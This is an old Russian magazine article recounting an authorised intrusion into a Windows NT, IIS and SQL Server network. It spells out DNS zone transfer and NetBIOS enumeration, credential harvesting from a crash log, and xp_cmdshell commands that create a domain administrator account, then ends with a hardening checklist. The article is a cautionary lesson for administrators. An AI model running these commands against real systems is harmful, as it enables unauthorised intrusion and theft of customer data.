Security page
Безопасность в Unix
Безопасность в Windows
Сборник FAQ'ов
Телефония, фрикинг
Кредитные карты
Криптография
Истории о хакерах
Программы, утилиты
CGI скрипты
_el@geocities.com

Как мне пришлось стать хакером


 Компьютер Пресс 10/98                      Андрей Крючков

От редактора: Услышав эту историю в устном изложении ее автора на фестивале Microsoft DevCon, я вначале не очень-то поверил в нее уж очень она походила на охотничий рассказ». Тогда я попросил автора подвести под нее теоретическую платформу. И вот что получилось... (К.А.)
От автора: Данная история будет интересна прежде всего администраторам сетей, построенных на базе Windows NT Server. То, что здесь описано, могло произойти только из-за полной безалаберности и некомпетентности персонала, администрирующего локальную сеть. Windows NT Server надежная и достаточно защищенная платформа для Internet и других применений, но главное все-таки грамотная настройка, а не степень защиты конкретной ОС. Данный пример показывает, до какого состояния можно довести очень неплохо защищенную систему, если она попадает в руки безграмотного человека. Надеюсь, что, прочитав статью, вы обезопасите себя от описанных в ней неприятностей. Я постарался заменить все реальные имена на выдуманные, чтобы не создавать проблем с массированной атакой оригинального хоста (если домен server.com и существует, то он никак не связан с описанными событиями). Также я заменил два первых октета во всех IP-адресах на нереальное значение 555 почему бы и нет? Во всех американских фильмах телефонные номера начинаются именно с этих цифр.

Все началось весной 1997 года, в тот момент, когда мы заканчивали бетатестирование специализированного пакета для работы Internet-провайдера, одним из компонентов которого была система создания зеркал Web-серверов. Поскольку это был единственный компонент, который не был протестирован к тому моменту, мы решили загрузить его какой-нибудь сложной задачей. Для реализации стресс-теста решено было сделать «зеркало» большого сайта, находящегося на другом конце света.
Проведя необходимые настройки программы и запустив процесс создания зеркала на выполнение, я принялся бродить по этому серверу и буквально сразу понял, что если его администратор о чем-либо и думал, то только не о безопасности. Первый же удар показал, что не установлены необходимые заплатки для Internet Information Server и Windows NT Server, а скрипты и CGI-программы находились в каталоге, предоставляющем не только право на исполнение, но и право на чтение, — иными словами, не были выполнены элементарные правила, о которых предупреждает Microsoft.
Итак, я добавил точку к URL: http://www.server.com/mainscript.idc Увиденное потрясло меня до глубины души (рис. 1).
Даже ошибка сервера не могла привести к появлению данного результата, если бы Web-мастер правильно (согласно рекомендациям Microsoft) настроил права для каталога со скриптами. Мне было бы отказано в доступе и все.

Рис. 1

Ну а если бы администратор хоть иногда обращал внимание на новости, связанные с Windows NT, он установил бы специальную заплатку для IIS 3.0, которая помогла бы вовсе избежать проблем: я увидел бы сообщение «HTTP 1.0 Object Not Found».
И все же главная проблема администратора заключалась в том, что я смог без труда узнать пароль пользователя sa, то есть администратора Microsoft SQL Server.
Если бы в системе была установлена интегрированная система безопасности, поля username и password игнорировались бы. Но это был именно администратор базы данных с пустым паролем. Ну кто заставил его выполнять все скрипты с доступом в базу данных от имени sa?! Я уже не говорю о том, что он не сменил пароль сразу после установки SQL Server. Тогда я решил помочь нерадивому и отправил ему сообщение с кратким изложением сути проблемы, а короче говоря, сообщил об отсутствии безопасности как таковой. (Для справки - дальнейшая проверка показала, что данный сайт, во-первых, является коммерческим, а во-вторых, пользуется определенной популярностью - на описанный момент в его базе данных было зарегистрировано 74 342 номера кредитных карточек.) Вот что он ответил:

Dear Andrey,
Thanks for your remark. We are aware of the problem. We
have installed the patch, but the result was that none
could access any of out idc's.
However, I don't think this is a potential security risk
as you can't place a self made .IDC on our /script
directory - or if you have any ideas about how it can be
made, please let me know and I'll urgently make our 
/script directory read only.

Ответ меня сильно разочаровал. Администратор не видел проблемы и не понимал, что открытый пароль sa может привести к непоправимым последствиям. Я пытался ему объяснить, что он не прав, но вскоре понял, что словами здесь не поможешь... И тогда я запросил разрешение на эксперимент со «взломом» его сервера.

> I hope that from now you site much more secure than it was in past, 
but I
> will try...
That's a deal! We'll send you a nice package to
compensate you for your work. We are not using any fire
walls, so go ahead (but please be careful with our data
;-)).
Kind regards,
admin

Никогда не разговаривайте с неизвестными!» Кто его тянул за язык? Сам факт отсутствия простейшего брандмауэра говорит о многом! Первым делом я запустил простую программу под названием nslookup для просмотра зоны DNS, в которой находится его сервер (данная программа входит в состав Windows NT Server, практически все варианты UNIX также имеют эту и другие утилиты для проверки работы DNS.

C:\nslookup
Default Server: myserver.quarta.com
Address: 555.555.120.5
> set type=any
> server.com.
Server: myserver.quarta.com
Address: 555.555.120.5
Non-authoritative answer:
server.com nameserver = priny.server.com
server.com nameserver = nic.server.com
server.com nameserver = pluto.server.com
Authoritative answers can be found from:
server.com nameserver = priny.server.com
server.com nameserver = nic.server.com
server.com nameserver = pluto.server.com
priny.server.com internet address = 555.555.200.1
nic.server.com internet address = 555.555.200.1
pluto.server.com internet address = 555.555.200.3
> server priny.server.com.
Default Server: priny.server.com
Address: 555.555.200.1

Теперь получим сведения о зоне и почтовом сервере:

>server.com.
Server: priny.server.com
Address: 555.555.200.1
server.com internet address = 555.555.200.2
server.com nameserver = nic.server.com
server.com nameserver = PRINY.server.com
server.com nameserver = pluto.server.com
server.com
origin = PRINY.server.com
mail addr = administrator.server.com
serial = 19
refresh = 10800 (3 hours)
retry = 7200 (2 hours)
expire = 86400 (1 day)
minimum ttl = 3600 (1 hour)
server.com preference = 10, mail exchanger =
faun.server.com
nic.server.com internet address = 555.555.200.1
PRINY.server.com internet address = 555.555.200.1
pluto.server.com internet address = 555.555.200.3
faun.server.com internet address = 555.555.200.17

А может, там найдутся и другие компьютеры, которые могут представлять для нас интерес? Команда ls является сокращением от list:

>ls server.com.
[priny.server.com]
server.com. 555.555.200.2
server.com. server = nic.server.com
server.com. server = PRINY.server.com
server.com. server = pluto.server.com
faun 555.555.200.17
gold 555.555.200.22
www.ie 555.555.200.11
jersild 555.555.200.25
nic 555.555.200.1
nic2 555.555.200.3
parasit3 555.555.200.20
pluto 555.555.200.3
www.press 555.555.200.30
PRINY 555.555.200.1
www 555.555.200.2
>

Простейшие настройки DNS-сервера (трансфер зон только для доверяемых хостов) не позволили бы так просто просмотреть список машин в домене. А как вам нравится то, что в одной сети находятся Web- сервер, сервер DNS, почтовый Exchange Server и все остальное: прочие машины, рабочие станции, тестовые серверы, машины программистов? Никогда не позволяйте так просто просматривать свой DNS: для хакера достаточно лишь незначительной информации для анализа и попытки проникновения в систему! Чем меньше такой информации он сможет получить, тем сложнее ему будет проникнуть в вашу систему.
Мне не очень повезло, улов не такой большой, но это лучше, чем ничего.
Идем дальше - проверим, отключил ли он NetBT?1

C:\>nbtstat -A 555.555.200.1
Host not found.
C:\>nbtstat -A 555.555.200.2
Host not found.
C:\>

Неужели он умнее, чем я думал? Ладно, проверю всю его сеть, может, обнаружу что-нибудь еще?

C:\>nbtstat -A 555.555.200.16
NetBIOS Remote Machine Name Table
Name Type Status
——————————————————————-
PLUTO <00> UNIQUE Registered
EEG1 <00> GROUP Registered
PLUTO <20> UNIQUE Registered
EEG1 <1E> GROUP Registered
INet~Services <1C> GROUP Registered
IS~PLUTO.......<00> UNIQUE Registered
MAC Address = 00-00-FF-34-D4-xx
C:\> nbtstat -A 555.555.200.22
NetBIOS Remote Machine Name Table
Name Type Status
——————————————————————-
GOLD <00> UNIQUE Registered
GOLD <20> UNIQUE Registered
EEG1 <00> GROUP Registered
EEG1 <1C> UNIQUE Registered
EEG1 <1B> UNIQUE Registered
EEG1 <1E> GROUP Registered
GOLD <03> UNIQUE Registered
ADMINISTRATOR <03> UNIQUE Registered
EEG1 <1D> UNIQUE Registered
__MSBROWSE__ <01> UNIQUE Registered
INet~Services <1C> GROUP Registered
IS~GOLD .......<00> UNIQUE Registered
MAC Address = 00-00-00-3B-xx-xx
C:\>

Прекрасно — одна машина является обычным сервером в домене EEG1, а вторая — либо PDC, либо BDC 2 , да еще и администратор зашел на компьютер с консоли. Попробуем подключиться к серверу \\pluto:

Start ? Run и \\pluto.server.com

Получилось (рис. 2)!

Рис. 2

Во всех учебниках по Windows NT написано — выключите пользователя Guest! Подключиться к офисному принтеру моего оппонента было делом одной минуты; еще спустя минуту принтер распечатал короткое послание о том, что я приступил к работе и не надо волноваться — все наши договоренности в силе.

Покончив с базовым исследованием сети, я написал ему достаточно развернутый отчет о проделанной работе, перечислил все машины, на которых открыт Guest, порекомендовал ему переименовать пользователя Administrator и дал еще несколько рекомендаций. Через пару дней я получил письмо, в котором администратор испытуемого сервера признавался в отсутствии хорошо поставленной системной политики безопасности и пообещал выслать заработанный приз в ближайшие дни.

Я уже начал постепенно забывать об этом случае, как вдруг получил от него тревожное письмо: он просил продолжить обнаружение дыр в его защите, уделив при этом особое внимание поиску возможностей входа в базу данных Microsoft SQL Server пользователей его сайта. Как вы понимаете, информация такого рода немало стоит для его конкурентов, и он опасался за ее сохранность в случае серьезной хакерской атаки.

Проникновение в MS SQL Server

Достаточно быстро я удостоверился в том, что пароль sa не был изменен (уже четыре дня администратор знает о дырке и все еще не удосужился ее закрыть!). Дело оставалось за малым — войти в базу SQL Server как sa (или хотя бы как guest).

С прошлого сеанса у меня сохранились записи и список всех серверов в его сети. Пришлось записать их все в файл LMHOST:

555.555.200.5 priny #PRE
555.555.200.16 pluto #PRE
...
555.555.200.23 insernia #PRE #DOM:eeg1

дать команду «nbtstat –R», которая перегружает кэш NetBT, и начать искать машину, на которой стоит MS SQL Server. Я прошелся по всем машинам, где был разрешен Guest, но ни на одной не был установлен MS SQL Server. Похоже, что он установлен на PDC или BDC, а там Guest выключен по умолчанию. Что же делать? Нужен вход, любой вход, только бы «подцепиться» к серверу с SQL Server. Что ж, придется еще немного подумать. Посмотрим, что еще есть на тех серверах, куда пускают пользователей Guest... Ага, в одном из каталогов лежит файл drwtsn32.log (этот файл создается при сбоях программ). Для большинства пользователей он бесполезен, но знающий человек порой может кое-что из него извлечь (рис. 3).
Рис. 3
Ну, кто что увидел? А я вижу имя домена, имя пользователя и, скорее всего, пароль для входа в эту систему. Проверим: подсоединяемся к серверу, куда прежде мы не могли войти под именем Guest, пробуем имя EEG1\HCAPSUser1 и пароль grk***. Вот мы и в сети, пора пробовать MS SQL Server Enterprise Manager (рис. 4).
Рис. 4
Зарегистрировались? Успешно! Что ж, вот я и администратор — правда, не домена, а только базы данных, но всему свое время. Посмотрим базу его пользователей 3 (рис. 5).


Рис. 5
select * from tblMember

Так — имена, адреса, пароли, номера кредитных карточек... А ведь кто-то выдумывает системы криптозащиты, спорит о длине ключа... Все, что я только что проделал, является следствием грубейших нарушений администратора данного компьютера. Машина, на которой установлен SQL Server, должна быть защищена брандмауэром или хотя бы работать по протоколу, недоступному из Internet, например по немаршрутизируемому NetBEUI. Ладно, доведем проверку системы безопасности до ее логического конца.

xp_cmdshell ‘net user Andrey mypassword /add /domain’

Отныне в домене EEG1 есть пользователь Andrey с паролем mypassword. Теперь пора сделать его администратором: xp_cmdshell ‘net group «Domain Admins» Andrey /add /domain’ Вот я и администратор домена. Могу сделать очень многое — к примеру, «подцепиться» к любому накопителю в системе:

Start ? Run и \\priny\c$

Так вот он, Web-сервер и его исходные файлы! Ну что же, положим маленький файл hack.htm в корневой каталог Web-сервера (рис. 6). Рис. 6
Ничего бы этого не случилось, если бы администратор:

* отключил бы хранимую процедуру
xp_cmdshell и аналогичные;
* запустил MS SQL
Server в работу под именем специального пользователя
с ограниченными полномочиями;
* сменил (установил) бы пароль у sa;
* установил MS SQL сервер на машине, которую не
«видно» из Internet;
* не занимался отладкой собственного ПО на машинах,
  видимых из Internet;
* не запускал бы скрипты от имени sa;
* не установил бы NMA на компьютер, доступный из
Internet;
* отключил бы на всех серверах пользователя Guest;
* правильно настроил права в каталогах для скриптов на Web-сервере;
* устанавливал вовремя необходимые «заплатки»,
выпускаемые Microsoft;
* хоть немного задумывался о безопасности.

Как вы, наверное, уже поняли, я получил полную власть в домене EEG1. Трудно только без консоли управления нравится мне видеть экран другого компьютера.

Полцарства за консоль!

К сожалению (а может, и к счастью), в Windows NT нет сервера Telnet, поэтому просто так подключиться к консоли нельзя даже в текстовом режиме. Но выход есть — RemotellyPossible/32, моя любимая программа для удаленного управления компьютером. Она имеет массу возможностей, в том числе возможность удаленной установки и абсолютную прозрачность для того, на чей компьютер я ее установил. На экране нет никаких сведений о том, что я его вижу, — это удобно для руководителя подразделения, который хочет знать, чем заняты его сотрудники. Данная программа работает исключительно быстро, и с сервером на другом краю света можно работать с нормальным временем реакции — иногда просто не замечаешь, что это другая машина (рис. 7).

Теперь я могу делать с ней практически все.

Рис. 7

1) NetBT - NetBIOS over TCP/IP - позволяет работать с программами, использующими NetBIOS, поверх протокола TCP\IP. Для машин, подключенных к Internet, Microsoft рекомендует отключить данный сервис. Так, на всякий случай...

2) PDC - Primary Domain Controller и BDC - Backup Domain Controller - серверы, которые занимаются авторизацией пользователей и хранят каталоги пользователей.

3) Microsoft SQL Server - уникальная программа. При ее помощи чрезвычайно удобно просматривать объекты базы данных, особенно когда вы стали ее администратором. Да и название таблицы весьма информативно...


<== Back to main page